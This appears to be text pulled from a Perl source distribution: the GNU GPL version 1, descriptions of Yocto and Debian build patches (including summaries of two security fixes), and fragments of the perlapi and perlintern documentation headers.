1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this General Public License and to the absence of any warranty; and give any other recipients of the Program a copy of this General Public License along with the Program. You may charge a fee for the physical act of transferring a copy.

2. You may modify your copy or copies of the Program or any portion of it, and copy and distribute such modifications under the terms of Paragraph 1 above, provided that you also do the following:

a) cause the modified files to carry prominent notices stating that you changed the files and the date of any change; and

b) cause the whole of any work that you distribute or publish, that in whole or in part contains the Program or any part thereof, either with or without modifications, to be licensed at no charge to all third parties under the terms of this General Public License (except

that you may choose to grant warranty protection to some or all third parties, at your option).

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the simplest and most usual way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this General Public License.

d) You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.

Mere aggregation of another independent work with the Program (or its derivative) on a volume of a storage or distribution medium does not bring the other work under the scope of these terms.

3. You may copy and distribute the Program (or a portion or derivative of it, under Paragraph 2) in object code or executable form under the terms of Paragraphs 1 and 2 above provided that you also do one of the following:

a) accompany it with the complete corresponding machine-readable

source code, which must be distributed under the terms of

Paragraphs 1 and 2 above; or,

b) accompany it with a written offer, valid for at least three years, to give any third party free (except for a nominal charge for the cost of distribution) a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Paragraphs 1 and 2 above; or,

c) accompany it with the information you received as to where the corresponding source code may be obtained. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form alone.)

Source code for a work means the preferred form of the work for making modifications to it. For an executable file, complete source code means all the source code for all modules it contains; but, as a special exception, it need not include source code for modules which are standard libraries that accompany the operating system on which the executable file runs, or for standard header files or definitions files that accompany that operating system.

4. You may not copy, modify, sublicense, distribute or transfer the Program except as expressly provided under this General Public License. Any attempt otherwise to copy, modify, sublicense, distribute or transfer

the Program is void, and will automatically terminate your rights to use the Program under this License. However, parties who have received copies, or rights to use copies, from you under this General Public License will not have their licenses terminated so long as such parties remain in full compliance.

5. By copying, distributing or modifying the Program (or any work based on the Program) you indicate your acceptance of this license to do so, and all its terms and conditions.

6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein.

7. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies a version number of the license which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free

Software Foundation. If the Program does not specify a version number of the license, you may choose any version ever published by the Free Software Foundation.

8. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.

#### NO WARRANTY

9. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

10. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING

WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

#### END OF TERMS AND CONDITIONS

#### Appendix: How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest possible use to humanity, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.

<one line to give the program's name and a brief idea of what it does.>

Copyright (C) 19yy <name of author>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 1, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this when it starts in an interactive mode:

Gnomovision version 69, Copyright (C) 19xx name of author

Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.

This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here a sample; alter the names:

Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (a program to direct compilers to make passes at assemblers) written by James Hacker.

<signature of Ty Coon>, 1 April 1989

Ty Coon, President of Vice

That's all there is to it!

0001-Fix-misparsing-of-makertext-strings.patch

From 1735f6f53ca19f99c6e9e39496c486af323ba6a8 Mon Sep 17 00:00:00 2001

From: Brian Carlson <brian.carlson@cpanel.net>

Date: Wed, 28 Nov 2012 08:54:33 -0500

Subject: [PATCH] Fix misparsing of makertext strings.

Case 61251: This commit fixes a misparse of makertext strings that could

lead to arbitrary code execution. Basically, maketext was compiling bracket notation into functions, but neglected to escape backslashes inside the content or die on fully-qualified method names when generating the code. This change escapes all such backslashes and dies when a method name with a colon or apostrophe is specified.

0001-Prevent-premature-hsplit-calls-and-only-trigger-REHA.patch

From d59e31fc729d8a39a774f03bc6bc457029a7aef2 Mon Sep 17 00:00:00 2001

From: Yves Orton <demerphq@gmail.com>

Date: Tue, 12 Feb 2013 10:53:05 +0100

Subject: [PATCH] Prevent premature hsplit() calls, and only trigger REHASH  
after hsplit()

Triggering a hsplit due to long chain length allows an attacker  
to create a carefully chosen set of keys which can cause the hash  
to use  $2 * (2^{32}) * \text{sizeof}(\text{void} *)$  bytes ram. AKA a DOS via memory  
exhaustion. Doing so also takes non trivial time.

Eliminating this check, and only inspecting chain length after a  
normal hsplit() (triggered when keys>buckets) prevents the attack  
entirely, and makes such attacks relatively benign.

(cherry picked from commit f1220d61455253b170e81427c9d0357831ca0fac)

1.8.3.1

09\_fix\_installperl.patch

Upstream-Status:Inappropriate [embedded specific]

Correctly identify arch-specific modules in ext/ where the .pm files  
are under lib.

Ensure that POSIX/SigAction is kept with the rest of the POSIX module  
under archlib.

Index: perl-5.12.3/installperl

fix\_bad\_rpath.patch

Upstream-Status:Inappropriate [embedded specific]

Signed-Off-By: Nitin A Kamble <nitin.a.kamble@intel.com>

2011/07/01

Fix these Package QA warnings before they are converted into fetal errors:

WARNING: QA Issue: package perl-module-compress contains bad RPATH  
/build\_disk/poky\_build/build0/tmp/sysroots/qemux86/usr/lib in file  
/build\_disk/poky\_build/build0/tmp/work/i586-poky-linux/perl-5.12.3-r1/packages-split/perl-module-  
compress/usr/lib/perl/5.12.3/auto/Compress/Raw/Zlib/Zlib.so

This fixes this warning for perl recipe as well as libxml-parser-perl recipe.

It is a fix to MakeMaker within perl, so all such perl recipes will get fixed with this perl fix.

letgcc-find-errno.patch

Upstream-Status:Inappropriate [embedded specific]

This removes all the logic that perl uses to locate an appropriate  
errno.h for the target. Instead we simple create a file that does

```
#include "errno.h"
```

and use that as the file to parse. This is needed when using an external toolchain since perl will search in \${STAGING\_INCDIR} for errno.h (when using gcc) and that isn't where it's located - its wherever the external toolchain keeps it's headers.

perl-archlib-exp.patch

perl: add archlib\_exp variable used to generate ARCHLIB\_EXP in config.h

perl.c uses an ARCHLIB\_EXP define to generate compile-time code that

adds the archlibexp path to @INC during run-time initialization of a

new perl interpreter.

Because we've changed this value in a temporary way to make it possible to use ExtUtils::Embed in the target build (the temporary value in config.sh gets re-stripped out during packaging), the ARCHLIB\_EXP value that gets generated still uses the temporary version instead of the original expected version (i.e. because it's in the generated config.h, it doesn't get stripped out during packaging like the others in config.sh).

This creates an unmodified version called archlib\_exp that gets used by a modified config\_h.SH to get the correct value into config.h

This patch uses an unmodified version of archlibexp called archlib\_exp, introduced to config.sh, which is used to generate the correct value of ARCHLIB\_EXP into config.h

See YOCTO #3099 for more info.

perl-build-in-t-dir.patch
```

```
Upstream-Status:Pending
```

Perl cannot cross build in a path containing a directory that has the name of "t". As an example, you can make the perl build fail with "mkdir -p /tmp/build/t", go to the directory, unpack the sources, configure and cross build.

You get an error like the following:

```
pod/buildtoc: no pods at pod/buildtoc line 305.
```

```
make[1]: *** [pod/perltoctoc] Error 255
```

The fix is to strip off the top directory that you are building in and then execute all the same logic as before against the path relative to

the build directory.

deprecate-with-apt.diff

Upstream-Status:Inappropriate [debian patches]

From c2bd2059cfbba573643c748ace4ff4db4cbf015d Mon Sep 17 00:00:00 2001

From: Dominic Hargreaves <dom@earth.li>

Date: Mon, 17 May 2010 13:23:07 +0300

Subject: Point users to Debian packages of deprecated core modules

Bug-Debian: <http://bugs.debian.org/580034>

Class::ISA, Switch, Pod::Plainer, and (partially) Shell were

deprecated from the Perl core in 5.12.0.

Class::ISA, Switch, Pod::Plainer were removed from the Perl core in

5.14.0.

Shell and Devel::DProf, and Perl 4 libraries, were deprecated from the Perl core in 5.14.0.

To get a clean transition, perl/perl-modules is going to recommend the separate Debian packages of these for one release cycle so that they will be pulled in by default on upgrades.

However, on systems configured to ignore recommendations the deprecation warnings will still be useful, so modify them slightly to point to the separate packages instead.

Patch-Name: debian/deprecate-with-apt.diff

From ca66b95be369b47a6d372c3653be57cd737f7f21 Mon Sep 17 00:00:00 2001

From: Andreas Marschke <andreas.marschke@googlemail.com>

Date: Sat, 17 Sep 2011 11:38:42 +0100

Subject: Configure CPAN::Distribution with correct name of html2text

Bug-Debian: <http://bugs.debian.org/640479>

Patch-Name: debian/find\_html2text.diff

If you use cpan from Debian you usually wind up trying to read online documentation through it. Unfortunately cpan can't find the `html2text.pl` script even though it is installed using the Debian package 'html2text'.

Please see the attached patch for a quick fix of this issue.

[Maintainer's note: `html2text` in Debian is not the same implementation as the `html2text.pl` which is expected, but should provide similar functionality].

Upstream-Status:Inappropriate [debian patches]

From 11633e598640b02e19329f323623af254fbac451 Mon Sep 17 00:00:00 2001

From: Brendan O'Dea <bod@debian.org>

Date: Fri, 18 Mar 2005 22:22:25 +1100

Subject: Tweak @INC ordering for Debian

Our order is:

etc (for config files)

site (5.8.1)

vendor (all)

core (5.8.1)

site (version-indep)

site (pre-5.8.1)

The rationale being that an admin (via site), or module packager (vendor) can chose to shadow core modules when there is a newer version than is included in core.

Upstream-Status:Inappropriate [debian patches]

From 063566907896ff32bea27897fa73cebbbd7bacce Mon Sep 17 00:00:00 2001

From: Brendan O'Dea <bod@debian.org>

Date: Fri, 18 Mar 2005 22:22:25 +1100

Subject: Prune the list of libraries wanted to what we actually need.

Bug-Debian: <http://bugs.debian.org/128355>

We want to keep the dependencies on perl-base as small as possible,  
and some of the original list may be present on builddds (see Bug#128355).

Subject: Skip a crashing test case in t/op/threads.t on GNU/kFreeBSD

Bug: <http://rt.perl.org/rt3/Ticket/Display.html?id=96272>

Bug-Debian: <http://bugs.debian.org/628493>

The crash is not a regression in 5.14, it just gets triggered there by

a new unrelated test case.

Skip the test until the culprit is found.

Subject: Squelch locale warnings in Debian package maintainer scripts

Bug-Debian: http://bugs.debian.org/508764

```

The system locales are rather frequently out of sync with the C library during package upgrades, causing a huge amount of useless Perl locale warnings. Squelch them when running package maintainer scripts, detected by the DPKG\_RUNNING\_VERSION environment variable.

Any real locale problem will show up after the system upgrade too, and the warning will be triggered normally again at that point.

Subject: Append CFLAGS and LDFLAGS to their Config.pm counterparts in

EU::CBuilder

Bug: <http://rt.perl.org/rt3//Public/Bug/Display.html?id=89478>

Bug-Debian: <http://bugs.debian.org/624460>

Origin: upstream,

<http://perl5.git.perl.org/perl.git/commitdiff/011e8fb476b5fb27c9aa613360d918aa0b798b3d>

Since ExtUtils::CBuilder 0.27\_04 (bleadperl commit 06e8058f27e4),

CFLAGS and LDFLAGS from the environment have overridden the Config.pm

ccflags and ldflags settings. This can cause binary incompatibilities

between the core Perl and extensions built with EU::CBuilder.

Append to the Config.pm values rather than overriding them.

Upstream-Status:Inappropriate [debian patches]

From 0d1ab4f799eb14d5488fcc959f4a6bdec548b370 Mon Sep 17 00:00:00 2001

From: Brendan O'Dea <bod@debian.org>

Date: Tue, 8 Mar 2005 19:30:38 +1100

Subject: Respect umask during installation

This is needed to satisfy Debian policy regarding group-writable  
site directories.

Patch-Name: fixes/respect\_umask.diff

sys-syslog-socket-timeout-kfreebsd.patch

Upstream-Status:Inappropriate [debian patches]

From 9ba88d73444c22788b7c2a212e15dbfe3da2a1af Mon Sep 17 00:00:00 2001

From: Niko Tyni <ntyni@debian.org>

Date: Wed, 3 Aug 2011 22:36:24 +0300

Subject: Use a socket timeout on GNU/kFreeBSD to catch ICMP port unreachable  
messages

Bug: <http://rt.cpan.org/Ticket/Display.html?id=69997>

Bug-Debian: <http://bugs.debian.org/627821>

Without this, `openlog()` on a UDP socket may succeed on the FreeBSD kernel  
even when there's no listener, causing test failures.

It seems probable that all FreeBSD-based systems suffer from the  
same issue, but that's for upstream to decide.

The following functions have been flagged as part of the public API, but are currently undocumented. Use them at your own risk, as the interfaces are subject to change.

If you use one of them, you may wish to consider creating and submitting documentation for it. If your patch is accepted, this will indicate that the interface is stable (unless it is explicitly marked otherwise).

=head1 NAME

perlapi - autogenerated documentation for the perl public API

```

=head1 DESCRIPTION

X<Perl API> X<API> X<api>

This file contains the documentation of the perl public API generated by embed.pl, specifically a listing of functions, macros, flags, and variables that may be used by extension writers. L<At the end|/Undocumented functions> is a list of functions which have yet to be documented. The interfaces of those are subject to change without notice. Any functions not listed here are not part of the public API, and should not be used by extension writers at all. For these reasons, blindly using functions listed in proto.h is to be avoided when writing extensions.

Note that all Perl API global variables must be referenced with the C<PL\_> prefix. Some macros are provided for compatibility with the older, unadorned names, but this support may be disabled in a future release.

Perl was originally written to handle US-ASCII only (that is characters whose ordinal numbers are in the range 0 - 127).

And documentation and comments may still use the term ASCII, when sometimes in fact the entire range from 0 - 255 is meant.

Note that Perl can be compiled and run under EBCDIC (See L<perlebcdic>) or ASCII. Most of the documentation (and even comments in the code) ignore the EBCDIC possibility.

For almost all purposes the differences are transparent.

As an example, under EBCDIC,

instead of UTF-8, UTF-EBCDIC is used to encode Unicode strings, and so

whenever this documentation refers to C<utf8>

(and variants of that name, including in function names),

it also (essentially transparently) means C<UTF-EBCDIC>.

But the ordinals of characters differ between ASCII, EBCDIC, and

the UTF- encodings, and a string encoded in UTF-EBCDIC may occupy more bytes than in UTF-8.

Also, on some EBCDIC machines, functions that are documented as operating on

US-ASCII (or Basic Latin in Unicode terminology) may in fact operate on all

256 characters in the EBCDIC range, not just the subset corresponding to

US-ASCII.

The listing below is alphabetical, case insensitive.

\_EOB\_

=head1 AUTHORS

Until May 1997, this document was maintained by Jeff Okamoto

<okamoto@corp.hp.com>. It is now maintained as part of Perl itself.

With lots of help and suggestions from Dean Roehrich, Malcolm Beattie,

Andreas Koenig, Paul Hudson, Ilya Zakharevich, Paul Marquess, Neil Bowers, Matthew Green, Tim Bunce, Spider Boardman, Ulrich Pfeifer, Stephen McCamant, and Gurusamy Sarathy.

API Listing originally by Dean Roehrich <roehrich@cray.com>.

Updated to be autogenerated from comments in the source by Benjamin Stuhl.

=head1 NAME

perlintern - autogenerated documentation of purely B<internal>

Perl functions

=head1 DESCRIPTION

X<internal Perl functions> X<interpreter functions>

This file is the autogenerated documentation of functions in the Perl interpreter that are documented using Perl's internal documentation format but are not marked as part of the Perl API. In other words, B<they are not for use in extensions>!

END

=head1 AUTHORS

The autodocumentation system was originally added to the Perl core by Benjamin Stuhl. Documentation is by whoever was kind enough to document their functions.

* Some things like "@_" and the scratchpad list do not set this, to
* indicate that they are cheating (for efficiency) by not recounting
* the AV's contents.
*
* SVpav_REIFY is only meaningful on such "fake" AVs (i.e. where SVpav_REAL
* is not set). It indicates that the fake AV is capable of becoming
* real if the array needs to be modified in some way. Functions that
* modify fake AVs check both flags to call av_reify() as appropriate.
*
* Note that the Perl stack has neither flag set. (Thus,
* items that go on the stack are never recounted.)
*
* These internal details are subject to change any time. AV
* manipulations external to perl should not care about any of this.
